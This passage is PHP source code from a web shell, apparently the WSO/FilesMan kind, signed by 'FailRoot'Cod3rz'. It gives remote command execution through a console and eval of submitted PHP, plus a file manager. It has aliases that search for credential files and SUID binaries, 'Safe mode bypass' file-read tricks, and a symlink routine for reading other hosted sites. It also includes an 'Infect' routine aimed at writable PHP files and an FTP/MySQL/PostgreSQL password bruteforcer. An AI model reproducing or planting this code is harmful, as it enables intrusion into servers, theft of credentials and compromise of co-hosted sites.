624 "show opened ports" => "netstat -an | grep -i listen",
625 "process status" => "ps aux",
626 "Find" => "",
627 "find all suid files" => "find / -type f -perm -04000 -ls",
628 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
629 "find all sgid files" => "find / -type f -perm -02000 -ls",
630 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
631 "find config.inc.php files" => "find / -type f -name config.inc.php",
632 "find config* files" => "find / -type f -name \"config*\"",
633 "find config* files in current dir" => "find . -type f -name \"config*\"",
634 "find all writable folders and files" => "find / -perm -2 -ls",
635 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
636 "find all service.pwd files" => "find / -type f -name service.pwd",
637 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
638 "find all .htpasswd files" => "find / -type f -name .htpasswd",
639 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
640 "find all .bash_history files" => "find / -type f -name .bash_history",
641 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
642 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
643 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
644 "Locate" => "",
645 "locate httpd.conf files" => "locate httpd.conf",
646 "locate vhosts.conf files" => "locate vhosts.conf",
647 "locate proftpd.conf files" => "locate proftpd.conf",
648 "locate psybnc.conf files" => "locate psybnc.conf",
649 "locate my.conf files" => "locate my.conf",
650 "locate admin.php files" =>"locate admin.php",
651 "locate cfg.php files" => "locate cfg.php",
652 "locate conf.php files" => "locate conf.php",
653 "locate config.dat files" => "locate config.dat",
654 "locate config.php files" => "locate config.php",
655 "locate config.inc files" => "locate config.inc",
656 "locate config.inc.php" => "locate config.inc.php",
657 "locate config.default.php files" => "locate config.default.php",
658 "locate config* files " => "locate config",
659 "locate .conf files"=>"locate '.conf'",
660 "locate .pwd files" => "locate '.pwd'",
661 "locate .sql files" => "locate '.sql'",
662 "locate .htpasswd files" => "locate '.htpasswd'",
663 "locate .bash_history files" => "locate '.bash_history'",
664 "locate .mysql_history files" => "locate '.mysql_history'",
665 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
666 "locate backup files" => "locate backup",
667 "locate dump files" => "locate dump",
668 "locate priv files" => "locate priv"
669 );
670
671function actionConsole() {
672 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
673 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
674 $_POST['p1'] .= ' 2>&1';
675 } elseif(!empty($_POST['p1']))
676 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = 0;
677
678 if(isset($_POST['ajax'])) {
679 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
680 ob_start();
681 echo "document.cf.cmd.value='';\n";
682 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\'\0"));
683 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
684 if(@chdir($match[1])) {
685 $GLOBALS['cwd'] = @getcwd();
686 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
687 }
688 }
689 echo "document.cf.output.value+='".$temp."';";
690 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
691 $temp = ob_get_clean();
692 echo strlen($temp), "\n", $temp;
693 exit;
694 }
695 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
696 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = 0;
697 printHeader();
698echo "<script>
699if(window.Event) window.captureEvents(Event.KEYDOWN);
700var cmds = new Array('');
701var cur = 0;
702function kp(e) {
703 var n = (window.Event) ? e.which : e.keyCode;
704 if(n == 38) {
705 cur--;
706 if(cur>=0)
707 document.cf.cmd.value = cmds[cur];
708 else
709 cur++;
710 } else if(n == 40) {
711 cur++;
712 if(cur < cmds.length)
713 document.cf.cmd.value = cmds[cur];
714 else
715 cur--;
716 }
717}
718function add(cmd) {
719 cmds.pop();
720 cmds.push(cmd);
721 cmds.push('');
722 cur = cmds.length-1;
723}
724</script>";
725 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
726 foreach($GLOBALS['aliases'] as $n => $v) {
727 if($v == '') {
728 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
729 continue;
730 }
731 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
732 }
733
734 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value,document.cf.show_errors.checked?1:\'\');}else{g(null,null,document.cf.alias.value,document.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
735 if(!empty($_POST['p1'])) {
736 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
737 }
738 echo '</textarea><table style="border:1px solid #000;background-color:#000;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
739 echo '</form></div><script>document.cf.cmd.focus();</script>';
740 printFooter();
741}
742// Console end --------------------
743// PHP -----------------------
744function actionPhp() {
745 if( isset($_POST['ajax']) ) {
746 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
747 ob_start();
748 eval($_POST['p1']);
749 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
750 echo strlen($temp), "\n", $temp;
751 exit;
752 }
753 printHeader();
754 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
755 echo '<h1>PHP info</h1><div class=content>';
756 ob_start();
757 phpinfo();
758 $tmp = ob_get_clean();
759 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
760 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
761 $tmp = preg_replace('!h1!msiU','h2',$tmp);
762 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
763 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
764 echo $tmp;
765 echo '</div><br>';
766 }
767 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
768 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
769 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
770 echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
771 if(!empty($_POST['p1'])) {
772 ob_start();
773 eval($_POST['p1']);
774 echo htmlspecialchars(ob_get_clean());
775 }
776 echo '</pre></div>';
777 printFooter();
778}
779// PHP end --------------------
780// File manager go --------------------
781function actionFilesMan() {
782 printHeader();
783 echo '<h1>File manager</h1><div class=content>';
784 if(isset($_POST['p1'])) {
785 switch($_POST['p1']) {
786 case 'uploadFile':
787 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
788 echo "Can't upload file!";
789 break;
790 break;
791 case 'mkdir':
792 if(!@mkdir($_POST['p2']))
793 echo "Can't create new dir";
794 break;
795 case 'delete':
796 function deleteDir($path) {
797 $path = (substr($path,-1)=='/') ? $path:$path.'/';
798 $dh = opendir($path);
799 while ( ($item = readdir($dh) ) !== false) {
800 $item = $path.$item;
801 if ( (basename($item) == "..") || (basename($item) == ".") )
802 continue;
803 $type = filetype($item);
804 if ($type == "dir")
805 deleteDir($item);
806 else
807 @unlink($item);
808 }
809 closedir($dh);
810 rmdir($path);
811 }
812 if(is_array(@$_POST['f']))
813 foreach($_POST['f'] as $f) {
814 $f = urldecode($f);
815 if(is_dir($f))
816 deleteDir($f);
817 else
818 @unlink($f);
819 }
820 break;
821 case 'paste':
822 if($_SESSION['act'] == 'copy') {
823 function copy_paste($c,$s,$d){
824 if(is_dir($c.$s)){
825 mkdir($d.$s);
826 $h = opendir($c.$s);
827 while (($f = readdir($h)) !== false)
828 if (($f != ".") and ($f != "..")) {
829 copy_paste($c.$s.'/',$f, $d.$s.'/');
830 }
831 } elseif(is_file($c.$s)) {
832 @copy($c.$s, $d.$s);
833 }
834 }
835 foreach($_SESSION['f'] as $f)
836 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
837 } elseif($_SESSION['act'] == 'move') {
838 function move_paste($c,$s,$d){
839 if(is_dir($c.$s)){
840 mkdir($d.$s);
841 $h = opendir($c.$s);
842 while (($f = readdir($h)) !== false)
843 if (($f != ".") and ($f != "..")) {
844 copy_paste($c.$s.'/',$f, $d.$s.'/');
845 }
846 } elseif(is_file($c.$s)) {
847 @copy($c.$s, $d.$s);
848 }
849 }
850 foreach($_SESSION['f'] as $f)
851 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
852 }
853 unset($_SESSION['f']);
854 break;
855 default:
856 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
857 $_SESSION['act'] = @$_POST['p1'];
858 $_SESSION['f'] = @$_POST['f'];
859 foreach($_SESSION['f'] as $k => $f)
860 $_SESSION['f'][$k] = urldecode($f);
861 $_SESSION['cwd'] = @$_POST['c'];
862 }
863 break;
864 }
865 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
866 }
867 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
868 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
869 global $sort;
870 $sort = array('name', 1);
871 if(!empty($_POST['p1'])) {
872 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
873 $sort = array($match[1], (int)$match[2]);
874 }
875?>
876<script>
877 function sa() {
878 for(i=0;i<document.files.elements.length;i++)
879 if(document.files.elements[i].type == 'checkbox')
880 document.files.elements[i].checked = document.files.elements[0].checked;
881 }
882</script>
883<table width='100%' class='main' cellspacing='0' cellpadding='2'>
884<form name=files method=post>
885<?php
886 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
887 $dirs = $files = $links = array();
888 $n = count($dirContent);
889 for($i=0;$i<$n;$i++) {
890 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
891 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
892 $tmp = array('name' => $dirContent[$i],
893 'path' => $GLOBALS['cwd'].$dirContent[$i],
894 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
895 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
896 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
897 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
898 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
899 );
900 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
901 $files[] = array_merge($tmp, array('type' => 'file'));
902 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
903 $links[] = array_merge($tmp, array('type' => 'link'));
904 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
905 $dirs[] = array_merge($tmp, array('type' => 'dir'));
906 }
907 $GLOBALS['sort'] = $sort;
908 function cmp($a, $b) {
909 if($GLOBALS['sort'][0] != 'size')
910 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
911 else
912 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
913 }
914 usort($files, "cmp");
915 usort($dirs, "cmp");
916 usort($links, "cmp");
917 $files = array_merge($dirs, $links, $files);
918 $l = 0;
919 foreach($files as $f) {
920 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
921 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
922 $l = $l?0:1;
923 }
924 ?>
925 <tr><td colspan=7>
926 <input type=hidden name=a value='FilesMan'>
927 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
928 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
929 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select> <input type="submit" value=">>"></td></tr>
930 </form></table></div>
931 <?php
932 printFooter();
933}
934// File manager end --------------------
935// String tools go --------------------
936function actionStringTools() {
937 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
938 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
939 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
940 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
941 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
942 $stringTools = array(
943 'Base64 encode' => 'base64_encode',
944 'Base64 decode' => 'base64_decode',
945 'Url encode' => 'urlencode',
946 'Url decode' => 'urldecode',
947 'Full urlencode' => 'full_urlencode',
948 'md5 hash' => 'md5',
949 'sha1 hash' => 'sha1',
950 'crypt' => 'crypt',
951 'CRC32' => 'crc32',
952 'ASCII to HEX' => 'ascii2hex',
953 'HEX to ASCII' => 'hex2ascii',
954 'HEX to DEC' => 'hexdec',
955 'HEX to BIN' => 'hex2bin',
956 'DEC to HEX' => 'dechex',
957 'DEC to BIN' => 'decbin',
958 'BIN to HEX' => 'binhex',
959 'BIN to DEC' => 'bindec',
960 'String to lower case' => 'strtolower',
961 'String to upper case' => 'strtoupper',
962 'Htmlspecialchars' => 'htmlspecialchars',
963 'String length' => 'strlen',
964 );
965 if(isset($_POST['ajax'])) {
966 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
967 ob_start();
968 if(in_array($_POST['p1'], $stringTools))
969 echo $_POST['p1']($_POST['p2']);
970 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
971 echo strlen($temp), "\n", $temp;
972 exit;
973 }
974 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
975 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = 0;
976 printHeader();
977 echo '<h1>String conversions</h1><div class=content>';
978 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
979 foreach($stringTools as $k => $v)
980 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
981 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
982 if(!empty($_POST['p1'])) {
983 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
984 }
985 echo"</pre></div><br><h1>Search files:</h1><div class=content>
986 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
987 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
988 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
989 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
990 <tr><td></td><td><input type='submit' value='>>'></td></tr>
991 </table></form>";
992 function printRecursiveGlob($path) {
993 if(substr($path, -1) != '/')
994 $path.='/';
995 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
996 if(is_array($paths)&&@count($paths)) {
997 foreach($paths as $item) {
998 if(@is_dir($item)){
999 if($path!=$item)
1000 printRecursiveGlob($item);
1001 } else {
1002 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
1003 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
1004 }
1005 }
1006 }
1007 }
1008 if(@$_POST['p3'])
1009 printRecursiveGlob($_POST['c']);
1010 echo "</div><br><h1>Search for hash:</h1><div class=content>
1011 <form method='post' target='_blank' name='hf'>
1012 <input type='text' name='hash' style='width:200px;'><br>
1013 <input type='hidden' name='act' value='find'/>
1014 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
1015 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
1016 <input type='button' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br>
1017 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
1018 <input type='button' value='tools4noobs.com' onclick=\"document.hf.action='http://www.tools4noobs.com/online_php_functions/';document.hf.submit()\"><br>
1019 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
1020 <input type='button' value='artlebedev.ru' onclick=\"document.hf.action='https://www.artlebedev.ru/tools/decoder/';document.hf.submit()\"><br>
1021 </form></div>";
1022 printFooter();
1023}
1024// String tools end --------------------
1025// Safe mode go ------------------------
1026function actionSafeMode() {
1027 $temp='';
1028 ob_start();
1029 switch($_POST['p1']) {
1030 case 1:
1031 $temp=@tempnam($test, 'cx');
1032 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
1033 echo @file_get_contents($temp);
1034 unlink($temp);
1035 } else
1036 echo 'Sorry... Can\'t open file';
1037 break;
1038 case 2:
1039 $files = glob($_POST['p2'].'*');
1040 if( is_array($files) )
1041 foreach ($files as $filename)
1042 echo $filename."\n";
1043 break;
1044 case 3:
1045 $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
1046 curl_exec($ch);
1047 break;
1048 case 4:
1049 ini_restore("safe_mode");
1050 ini_restore("open_basedir");
1051 include($_POST['p2']);
1052 break;
1053 case 5:
1054 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1055 $uid = @posix_getpwuid($_POST['p2']);
1056 if ($uid)
1057 echo join(':',$uid)."\n";
1058 }
1059 break;
1060 case 6:
1061 if(!function_exists('imap_open'))break;
1062 $stream = imap_open($_POST['p2'], "", "");
1063 if ($stream == FALSE)
1064 break;
1065 echo imap_body($stream, 1);
1066 imap_close($stream);
1067 break;
1068 }
1069 $temp = ob_get_clean();
1070 printHeader();
1071 echo '<h1>Safe mode bypass</h1><div class=content>';
1072 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
1073 if($temp)
1074 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
1075 echo '</div>';
1076 printFooter();
1077}
1078// Safe mode end ---------------------
1079// Logout go -------------------------
1080function actionLogout() {
1081 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1082 echo 'bye!';
1083}
1084// Logout end -------------------------
1085// Suicide go -------------------------
1086function actionSelfRemove() {
1087 printHeader();
1088 if($_POST['p1'] == 'yes') {
1089 if(@unlink(SELF_PATH))
1090 die('Shell has been removed');
1091 else
1092 echo 'unlink error!';
1093 }
1094 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1095 printFooter();
1096}
1097// Suicide end -------------------------
1098function actionTools() {
1099 printHeader();
1100
1101 printFooter();
1102}
1103// Domains go -------------------------
1104function actionDomains() {
1105 printHeader();
1106 error_reporting(0);
1107echo "<title>#Domains & Users</title>";
1108mkdir("sym");
1109symlink("/","0/x.txt");
1110$c = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
1111$f = fopen ('sym/.htaccess','w');
1112 fwrite($f , $c);
1113
1114$d0mains = @file("/etc/named.conf");
1115if(!$d0mains){ die("<b>#Error... -> [ /etc/named.conf ]"); }
1116echo "<table align=center border=1>
1117<tr bgcolor=teal><td>Domain</td><td>User List </td><td>Symlink</td></tr>";
1118foreach($d0mains as $d0main){
1119if(eregi("zone",$d0main)){
1120preg_match_all('#zone "(.*)"#', $d0main, $domains);
1121flush();
1122if(strlen(trim($domains[1][0])) > 2){
1123$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1124echo "<tr><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td><td><a href='sym/x.txt/home/".$user['name']."/public_html'>Miremos</a></td></tr>"; flush();
1125}}}
1126echo "</table>
1127<p align='center'>
1128FailRoot'Cod3rz <a href='http://failroot.wordpress.com/'>FailRoot-Sec.Com</a> | <a
1129href='http://wWw.sEc4EvEr.CoM/'>wWw.sEc4EvEr.CoM</a><br>
1130</p>
1131";
1132 printFooter();
1133}
1134// Domains end -----------------------
1135// Infect go -------------------------
1136function actionInfect() {
1137 printHeader();
1138 echo '<h1>Infect</h1><div class=content>';
1139 if($_POST['p1'] == 'infect') {
1140 $target=$_SERVER['DOCUMENT_ROOT'];
1141 function ListFiles($dir) {
1142 if($dh = opendir($dir)) {
1143 $files = Array();
1144 $inner_files = Array();
1145 while($file = readdir($dh)) {
1146 if($file != "." && $file != "..") {
1147 if(is_dir($dir . "/" . $file)) {
1148 $inner_files = ListFiles($dir . "/" . $file);
1149 if(is_array($inner_files)) $files = array_merge($files, $inner_files);
1150 } else {
1151 array_push($files, $dir . "/" . $file);
1152 }
1153 }
1154 }
1155 closedir($dh);
1156 return $files;
1157 }
1158 }
1159 foreach (ListFiles($target) as $key=>$file){
1160 $nFile = substr($file, -4, 4);
1161 if($nFile == ".php" ){
1162 if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){
1163 echo "$file<br>";
1164 $i++;
1165 }
1166 }
1167 }
1168 echo "<font color=red size=14>$i</font>";
1169 }else{
1170 echo "<form method=post><input type=submit value=Infect name=infet></form>";
1171 echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>';
1172 }
1173 printFooter();
1174}
1175// Infect end -----------------------
1176// Bruteforce go --------------------
1177function actionBruteforce() {
1178 printHeader();
1179 if( isset($_POST['proto']) ) {
1180 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1181 if( $_POST['proto'] == 'ftp' ) {
1182 function bruteForce($ip,$port,$login,$pass) {
1183 $fp = @ftp_connect($ip, $port?$port:21);
1184 if(!$fp) return false;
1185 $res = @ftp_login($fp, $login, $pass);
1186 @ftp_close($fp);
1187 return $res;
1188 }
1189 } elseif( $_POST['proto'] == 'mysql' ) {
1190 function bruteForce($ip,$port,$login,$pass) {
1191 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1192 @mysql_close($res);
1193 return $res;
1194 }
1195 } elseif( $_POST['proto'] == 'pgsql' ) {
1196 function bruteForce($ip,$port,$login,$pass) {
1197 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
1198 $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
1199 @pg_close($res);
1200 return $res;
1201 }
1202 }
1203 $success = 0;
1204 $attempts = 0;
1205 $server = explode(":", $_POST['server']);
1206 if($_POST['type'] == 1) {
1207 $temp = @file('/etc/passwd');
1208 if( is_array($temp) )
1209 foreach($temp as $line) {
1210 $line = explode(":", $line);
1211 ++$attempts;
1212 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1213 $success++;
1214 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1215 }
1216 if(@$_POST['reverse']) {
1217 $tmp = "";
1218 for($i=strlen($line[0])-1; $i>=0; --$i)
1219 $tmp .= $line[0][$i];
1220 ++$attempts;
1221 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1222 $success++;
1223 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1224 }
1225 }
1226 }
1227 } elseif($_POST['type'] == 2) {
1228 $temp = @file($_POST['dict']);
1229 if( is_array($temp) )
1230 foreach($temp as $line) {
1231 $line = trim($line);
1232 ++$attempts;
1233 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1234 $success++;
1235 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1236 }
1237 }
1238 }
1239 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1240 }
1241 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1242 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1243 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1244 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1245 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1246 .'<span>Server:port</span></td>'
1247 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1248 .'<tr><td><span>Brute type</span></td>'
1249 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1250 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
